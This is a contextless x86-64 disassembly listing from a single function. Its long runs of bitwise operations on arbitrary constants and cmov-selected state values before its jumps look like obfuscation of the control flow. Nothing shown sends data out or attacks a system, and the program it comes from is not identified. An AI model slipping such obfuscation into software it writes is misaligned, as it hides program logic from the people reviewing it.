not ebp
and ebp, 0x6069a47d
and edx, 0x9f965b82
or edx, ebp
mov ebp, edx
xor ebp, 0xb165202
xor edx, 0x6069a47d
xor ecx, 0x970c92c6
mov edi, ecx
and edi, 0x94800990
and ebx, 0x6b7ff66f
or ebx, edi
or ecx, edx
and edx, 0x94800990
and ebp, 0x6b7ff66f
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x2f5d8a18
and ebp, 0xd0a275e7
or ebp, edi
or ecx, ebx
and ebx, 0x2f5d8a18
and edx, 0xd0a275e7
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
setne bl
sete r9b
cmp eax, 9
setg r8b
cmp eax, 0xa
setl cl
xor bl, r9b
and bl, r9b
mov edx, ebx
xor dl, 1
mov eax, edx
or al, bl
xor bl, al
xor bl, 1
or al, dl
xor al, 1
or al, bl
xor al, 1
mov edx, eax
or dl, cl
xor al, cl
not al
and al, cl
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, r8d
xor dl, r9b
and dl, r8b
xor cl, r9b
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, 1
mov ebx, ecx
and bl, al
mov r8d, ecx
xor r8b, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, r8b
mov eax, ebx
and bl, dl
xor dl, 1
xor al, 1
and al, dl
or bl, al
mov eax, ecx
and al, dl
xor cl, dl
or cl, al
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0x64feea89
mov edx, 0x5989f606
cmovne eax, edx
test cl, 1
mov ecx, 0x64feea89
cmovne ecx, eax
test bl, 1
cmove ecx, eax
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov ecx, 0x70ea4fa7
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1401b9360
nop
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret